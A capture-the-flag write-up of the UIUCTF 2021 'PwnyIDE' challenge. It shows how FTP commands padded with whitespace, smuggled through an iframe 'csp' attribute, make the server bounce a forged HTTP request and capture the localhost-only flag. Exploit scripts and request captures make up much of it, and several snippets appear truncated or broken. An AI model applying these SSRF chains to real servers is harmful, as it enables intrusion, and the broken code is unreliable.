Tags: ftp ssrf

Rating:

# PwnyIDE - UIUCTF 2021

## Intro

#### What is pwnyIDE?
Pwny IDE is a good-looking advanced IDE that lets you write HTML/CSS code and watch the changes in real-time! Pretty cool right?

> JS is not supported :)

#### Start of the journey

This challenge was one of the unsolved challenges in [UIUCTF 2021](https://ctftime.org), and it was also pretty fun! The author decided to not release the solution after the contest and he also ran a bounty program ($50 to the first solver). Luckily [we](https://ctftime.org/team/130817) could solve it after the CTF and we won both the contest and the bounty! ## How it works Features of this IDE: - Pretty theme - Account management - Login/Register buttons ( who needs sign-out ? ) - Code sharing - source codes management via FTP which is limited to internal users - API endpoint that yields something called flag which is also limited to internal users - You can report your codes to the admin - A TCP proxy that forwards connections to FTP server with a small delay #### Pretty theme This IDE is beautiful!!! #### Account management When we register on the website, it assigns us a random uid, after that it creates a folder for us in file:///files folder. It will be used to save our code. javascript const uid = randomBytes(16).toString("hex") fs.mkdirSync(/files/${uid}/)


#### Code sharing

We can save and share our code! It will be saved in a file named file:///files/${uid}/file and anybody can access it at http://website/workspace/${uid}.

- Response's content-type is text/html
- Response contains a strict [csp](https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP) ( will be explained later )
- We have full control over the response's body

javascript
if (!fs.existsSync(/files/${req.params.uid}/file)) { res.send(<html>\n<head>\n <title>Test</title>\n</head>\n<body>\n <div>\n Hello World\n </div>\n</body>\n</html>) return } const data = fs.readFileSync(/files/${req.params.uid}/file)
res.send(data)


#### FTP server

The FTP server is written in js and uses [ftpd](https://github.com/nodeftpd/nodeftpd). It's listening on 127.0.0.1:21 so we can't access it from outside. It uses HTTP server's users for authentication and the authenticated user can view and edit files in his folder (file:///files/${user.uid). Also, The PASV command is disabled. javascript conn._command_PASV = () => {conn.respond("502 PASV mode disabled")}  #### flag endpoint Only requests from localhost with Sec-Pro-Hacker: 1 header can access the flag. javascript app.get( "/ssrf", async (req, res) => { res.setHeader("Content-Type", "text/plain; charset=UTF-8") if (req.socket.remoteAddress === "127.0.0.1" && req.header("Sec-Pro-Hacker") === "1") res.send(process.env.FLAG) else res.send("glhf ;)") })  #### Reporting We can report our codes on the website to the admin, and he ( headlessChrome/93 ) will check it out. Also, there is a check that checks if the URL matches the following regexp. regexp ^http:\/\/pwnyide.chal.uiuc.tf\/workspace\/[a-f0-9]{32}$


#### TCP proxy

An app called [tcpslow](https://github.com/gx0r/tcpslow) is running on the server that simply forwards connections from 127.0.0.1:8021 to FTP server with a 500ms delay.

bash
tcpslow -l 8021 -f 21 -d 500


## Where to start?

When I started to work on this challenge, a hint was already released.

> HINT: The first step is to be able to execute arbitrary FTP commands

That made me think that it should be easy to send FTP commands because they have given that hint about it and also thought that it shouldn't be hard to do that with a browser. Well, I was wrong :) it took me about 8 hours ( or more? ) to figure out how to do that.

Eventually, I started to look for things I can do with arbitrary FTP commands.

#### Some guesses

FTP servers are nice targets when we have SSRF vulnerability, Some challenges have used this concept before, like [this](https://blog.zeddyu.info/2020/04/20/Plaid-CTF-2020-Web-1/) or [this](https://balsn.tw/ctf_writeup/20200418-plaidctf2020/#make-ssrf-great-again-with-active-ftp) and [this](https://github.com/dfyz/ctf-writeups/tree/master/hxp-2020/resonator). We have a browser, so the attack should be like chrome attacks FTPServer and FTPServer attacks HTTPServer. When I was looking at the source code for the first time and then I saw the FTP server, I thought that it's gonna be the same PORT/PASV trick again, but the /ssrf endpoint blew my mind. flag was in the response lol. All writeups that I have had seen have used FTP servers to launch attacks against another service. I had no idea if it was possible to read the response using FTP.

#### What's FTP active mode and passive mode

> TL;DR: Using the PORT command, we can make the FTP Server read a file and send its content to a host:port.

## Reading the flag with FTP

#### Sending requests to HTTP Server

The following script will login and send our code ( which we have full control over it ) to HTTP Server. It first saves the payload, then it gets the uid ( name of the folder which our payload is inside it ), Then it connects to the FTP socket ( pretending SSRF ), and then it connects to 127.0.0.1:1337 and will send our payload to it.

python
#!/usr/bin/env python3
from pwn import *
import requests

TARGET_IP = "127.0.0.1"
TARGET_PORT = 1337
PAYLOAD = """GET /ssrf HTTP/1.1\r\nHost: dddd.com\r\nSec-Pro-Hacker: 1\r\n\r\n"""

s = requests.session()

p = remote("127.0.0.1","8021")
# Connect to 127.0.0.1:1337 - ((5 << 8) + 57) == 1337
p.sendafter("\n","PORT 127,0,0,1,5,57\r\n")
# Send the file
p.sendafter("\n",f"RETR /files/{SESS_ID}/file\r\n")
p.interactive()


I was wondering what happens if I send a STOR command right after RETR, Maybe some magics happen and the response will be written to the file ?

So i just added STOR /files/{SESS_ID}/file\r\n right after the RETRcommand.

python
p.sendafter("\n",f"RETR /files/{SESS_ID}/file\r\n")
p.sendafter("\n",f"STOR /files/{SESS_ID}/file\r\n")
p.interactive()


and it didn't work.


GET /ssrf HTTP/1.1
Host: dddd.com
Sec-Pro-Hacker: 1


Then I tried again with sending many requests instead of one.

python
PAYLOAD = """GET /ssrf HTTP/1.1\r\nHost: dddd.com\r\nSec-Pro-Hacker: 1\r\n\r\n""" * 3000


It worked this time!


HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/plain; charset=utf-8
Content-Length: 16
ETag: W/"10-L48XoI4zhfnfpVEEjnlYZ16NdMY"
Date: Wed, 04 Aug 2021 11:19:23 GMT
Connection: keep-alive
Keep-Alive: timeout=5

uiuctf{REDACTED}HTTP/1.1 200 OK


#### Why it worked?

Both RETR and STOR commands use the following function to get a socket to read/write.

js
var self = this;

if (self.dataListener) {
// how many data connections are allowed?
// should still be listening since we created a server, right?
if (self.dataSocket) {
self._logIf(LOG.DEBUG, 'A data connection exists');
callback(self.dataSocket);
} else {
self._logIf(LOG.DEBUG, 'Currently no data connection; expecting client to connect to pasv server shortly...');
self._logIf(LOG.DEBUG, '...client has connected now');
callback(self.dataSocket);
});
}
} else {
// Do we need to open the data connection?
if (self.dataSocket) { // There really shouldn't be an existing connection
self._logIf(LOG.DEBUG, 'Using existing non-passive dataSocket');
callback(self.dataSocket);
} else {
self._initiateData(function(sock) {
callback(sock);
});
}
}
};


When we enter this function for the first time ( after sending the RETR command ), Both self.dataListener and self.dataSocket are undefined, so a new socket will be created with calling self._initiateData function. The second time we enter this function ( after sending the STOR command ), self.dataSocket is defined, because the RETR command is still writing that huge data, so the STOR command will use the same socket! Now that we know why it happens, we can replace that requests with newlines and it will still work!

js
PAYLOAD = """GET /ssrf HTTP/1.1\r\nHost: dddd.com\r\nSec-Pro-Hacker: 1\r\n\r\n""" + "\n" * 100000

#### Sending all commands without any delay

As you can see in the above scripts, after sending each command, we wait for the server's response, and then we send the next command. We can't do that in chrome afaik ?. According to writeups and [rfc354](https://datatracker.ietf.org/doc/html/rfc354) section IV paragraph one, CRLF can be used to terminate each command, so practically it should work.

> FTP commands are ASCII terminated by the ASCII
character sequence CRLF (Carriage Return follow by Line Feed).

python
p = remote("127.0.0.1","8021")
p.interactive()



parrot@ps:~/pwn/pwnyIDE$./rem.py [+] Opening connection to 127.0.0.1 on port 8021: Done [*] Switching to interactive mode 530 Not logged in.  What? let's see FTP logs.  <127.0.0.1> FTP command: USER meme1337 PASS meme1337 attempt user: meme1337 PASS meme1337 <127.0.0.1> >> 530 Not logged in.  So apparently ftpd doesn't give a sh*t about rfc354 section IV paragraph one. It thinks that CRLF is part of the argument. Let's see how they handle each TCP packet's data. You can find the following function [here](https://github.com/nodeftpd/nodeftpd/blob/master/lib/FtpConnection.js#L235). js FtpConnection.prototype._onData = function(data) { var self = this; if (self.hasQuit) { return; } data = data.toString('utf-8').trim(); self._logIf(LOG.TRACE, '<< ' + data); // Don't want to include passwords in logs. self._logIf(LOG.INFO, 'FTP command: ' + data.replace(/^PASS [\s\S]*$/i, 'PASS ***')
);

var command;
var commandArg;
var index = data.indexOf(' ');
if (index !== -1) {
var parts = data.split(' ');
command = parts.shift().toUpperCase();
commandArg = parts.join(' ').trim();
} else {
command = data.toUpperCase();
commandArg = '';
}


So what if we send each command in a separate packet? The maximum TCP packet size is around 64K and localhost's MTU is also around that number [nowadays](https://stackoverflow.com/questions/27431984/significance-of-mtu-for-loopback-interface).

To do that, we can prefix our commands with around 65k spaces. It will work because of that trim() in the above function.

js
data = data.toString('utf-8').trim();


Let's try it

py
p = remote("127.0.0.1","8021")
PRESPACES = " " * 66000
p.interactive()



parrot@ps:~/pwn/pwnyIDE$./rem.py [+] Opening connection to 127.0.0.1 on port 8021: Done [*] Switching to interactive mode 502 Command not implemented. 331 User name okay, need password. 230 User logged in, proceed.  Worked! ## Attacking FTP from chrome This was my favorite part of #### Things we can't do The headlessChrome only visits URLs that match the following regexp.  ^http:\/\/pwnyide.chal.uiuc.tf\/workspace\/[a-f0-9]{32}$


Good news is that admin visits a page in which we can put arbitrary HTML inside it, Bad news is that the page is protected by a strict CSP.


Content-Security-Policy: sandbox


- No Javascript
- No redirection with meta tags

#### What's the goal?

We have to send a very long text with whitespaces and alphanumeric chars inside it to the FTP server without using JS. What an awesome challenge!

#### attempt #1 - TLSPoison - Failed

I first tried the [official implementation](https://github.com/jmdx/TLS-poison) and It was not even working with short payloads lol. Then i found [this](https://blog.zeddyu.info/2021/04/20/tls-poison/) blog. Since I didn't know anything about TLS stuff, I just ran the commands in readme ? and it didn't work either with large(>100k) payloads.

#### Attempt #2 - Regexp is hard! - ???

My friend [renwa](https://twitter.com/renwax23) found this bug, Basically the bug is that the dots are not escaped.
js
if (!/^http:\/\/pwnyide.chal.uiuc.tf\/workspace\/[a-f0-9]{32}$/.test(req.body.url)) {  So we can just buy a .tf domain with$6.49 and earn $50 bounty from admin? > It was unintended btw #### Attempt #3 - CSP report-uri directive - Failed This was my most promising failed attempt. You can read more about [report-uri here](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/report-uri). Basically Mr.chrome puts the whole CSP in the report HTTP request, so we can put some strings after the CSP and it will be sent along with the report request to the target. js const express = require('express'); const app = express(); const port = 3000; app.get('/', (req, res) => { res.setHeader("Content-Security-Policy","script-src 'none'; report-uri http://localhost:9000/;"+"OH".repeat(50)); res.send('<script>LOL</script>'); }) app.listen(port, () => {})   parrot@ps:~$ nc -lvnp 9000
Listening on 0.0.0.0 9000
POST / HTTP/1.1
Host: localhost:9000
Connection: keep-alive
Content-Length: 462
sec-ch-ua: "Chromium";v="92", " Not A;Brand";v="99", "Google Chrome";v="92"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
Content-Type: application/csp-report
Accept: */*
Origin: http://localhost:3000
Sec-Fetch-Site: same-site
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: report
Referer: http://localhost:3000/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

{"csp-report":{"document-uri":"http://localhost:3000/","referrer":"","violated-directive":"script-src-elem","effective-directive":"script-src-elem","original-policy":"script-src 'none'; report-uri http://localhost:9000/;OHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOHOH","disposition":"enforce","blocked-uri":"inline","line-number":1,"source-file":"http://localhost:3000/","status-code":200,"script-sample":""}}


But we are limited to 65k again Because of these limitations ?

- Chrome doesn't send long reports. IDK why.

#### Attempt #4 - Iframe CSP attribute - Succeeded

While I was testing my failed attempts again, this attribute came to my mind. You can read more about it [here](https://w3c.github.io/webappsec-cspee/#required-csp-header). Basically, it will be placed in a request header called Sec-Required-CSP.

html
<body><iframe src="http://localhost:4000/" csp="LMAOLMAOLMAOLMAOLMAOLMAOLMAOLMAOLMAOLMAO"></iframe></body>



parrot@ps:~\$ nc -lvnp 4000
Listening on 0.0.0.0 4000
GET / HTTP/1.1
Host: localhost:4000
Connection: keep-alive
sec-ch-ua: "Chromium";v="92", " Not A;Brand";v="99", "Google Chrome";v="92"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.107 Safari/537.36
Sec-Required-CSP: LMAOLMAOLMAOLMAOLMAOLMAOLMAOLMAOLMAOLMAO
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: iframe
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9



And the mind-blowing thing is that there is no strict length/syntax check?!
Although it has some problems with some characters like commas in the policy But we can easily send long payloads inside it.

## Chaining all together

Finally, we can execute arbitrary FTP commands! I replaced the PORT command with EPRT since it was acting weird in CSP.

*Cleaned* Final exploit.
python
#!/usr/bin/env python3
from pwn import *
import requests

#Register with these creds manually
account1 = "meme1337"
account2 = "meme13371337"
TARGET_IP = "127.0.0.1"
TARGET_PORT = 1337
PAYLOAD = """GET /ssrf HTTP/1.1\r\nHost: dddd.com\r\nSec-Pro-Hacker: 1\r\n\r\n""" + "\n" * 100000

s = requests.session()
s.post(f"http://{TARGET_IP}:{TARGET_PORT}/save",files={"file":content})

def pref(u):
return(u+" "*66000)

c = ""
c+= pref("START")
c+= pref(f"USER {account1}")
c+= pref(f"PASS {account1}")
c+= pref("EPRT |1|127.0.0.1|1337")
c+= pref(f"RETR /files/{UID}/file")
c+= pref(f"STOR /files/{UID}/file")
c+= pref("END")
c = f"<iframe src='http://localhost:8021' csp=';{c}'></iframe>"

UID = saveFile(account2,account2,c)
print(f"http://{TARGET_IP}:{TARGET_PORT}/workspace/{UID}")



Solved!

> uiuctf{i_h0p3_th4t_waS_a_fUn_ch4In_75d997b}

#### What was that tcpslow for?

- Chrome closes the connection if it sees an invalid response. in this case the FTP greeting message
- Chrome doesn't connect to port 21 because it's in [unsafe ports list](https://neo4j.com/developer/kb/list-of-restricted-ports-in-browsers/).

## The End of the journey

Shout-out to my teammates, organizers, and especially [arxenix](https://twitter.com/ankursundara) for creating this challenge.

Original writeup (https://hackmd.io/@parrot409/HJJU1B_1t).